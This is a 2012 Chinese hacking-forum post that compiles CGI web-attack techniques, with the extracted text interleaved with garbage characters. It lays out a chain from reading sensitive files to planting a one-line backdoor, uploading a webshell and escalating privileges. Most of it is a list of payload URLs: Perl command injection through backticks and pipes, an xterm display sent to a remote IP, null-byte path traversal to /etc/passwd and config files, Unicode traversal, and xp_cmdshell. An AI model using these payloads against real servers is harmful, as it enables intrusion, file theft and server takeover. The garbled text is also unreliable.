找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2711|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
! r5 }' B. s: J1 j' Y, Ecookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  * e  [- E  ]2 U
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  2 q3 b$ i' P' m, a
注“  
  s, M/ b; \. V8 qperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  $ t  e3 Z1 T# w! C3 J9 T% t' m
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  " G, P9 }! W0 q; ]
) ~9 G0 Z; j% u
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  % ]# ~/ k+ [) s  m3 z" `) {
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
0 v  G) S! l! [* H* thttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
4 W9 K5 }( Y! t& [) {http://target.com/cgi-bin/home/news/sub.pl?`id`  0 e2 h( i2 s6 L7 J8 S8 s1 ~3 B6 v
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
! r, r3 x) v' N' y% xhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  , ?' S- w9 Z3 ~. w
; B  T1 m7 l: h* q
http://target.com/test.pl;ls|  
' k( X8 }+ l2 z, ?1 Chttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  0 V# n! k+ R" I& [4 B$ I
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
* F! K7 `6 v' n) `3 l. H9 w& A) f6 qhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  8 Z0 B/ T5 g" _3 K
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
# X7 a4 S# w* ^' a8 }6 @+ Q- {8 H$ Lhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection    A( q3 p; b5 ^2 P& R  p/ H

2 b! ]1 A+ ^9 g7 P# ?- ]" G% l: B* Ohttp://target.com/test.pl?&........ /../../etc/passwd  
8 K" y- R/ U+ ?5 U/ Y
" v: j# Y  m6 Yhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  8 t, x* e6 ?( {1 R: Q
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了    Y' Z/ x, T3 Z4 F4 j
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
5 M) ^6 v0 Q6 W3 j" O, Z, O8 n6 f8 ?
# O* D& N2 M8 P. o" z/ N' I) phttp://www.target.org/show.php?f ... /include/config.php 查看php代码  9 B* W3 {7 q+ |: S7 N+ t  T' B
http://www.target.org/show.php?f ... ng/admin/global.php  
+ D9 l& S3 i& ]: E) d
/ I( l& f$ u% j: U7 N5 a% U8 memm和ps的一句话" r3 o" ]5 _  h6 k: C' m' `9 X& V

5 P+ m: f/ c" |http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  + _) z) d$ s) G% m# K7 Q: V

' h4 J( q; [0 B>bbb%20|  
; a* s- J- B2 l, K5 M9 m. j/ i9 [/ X# k/ R2 T9 l4 T- s) S! P7 Z* ^2 c
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  ' L+ _- H% F7 c) N
9 p+ T1 |0 @( W- f( S% G% \
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
% \8 Z8 q! o7 }8 B6 whttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  2 \) ^6 D3 p: Z4 x- }, C$ u3 ^$ E
8 F& z* K9 s6 a% b. h" u
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
9 J4 ~9 R# ?, k9 a" [8 u% D  Ehttp://target.com/index.html#cmd.exe  5 U( a3 j2 h/ V4 m# o+ G7 M) ^
http://target.com/index.html?dummyparam=xp_cmdshell  ( k# ]$ |$ V: ^  b
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
/ N  h  x4 j( C0 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表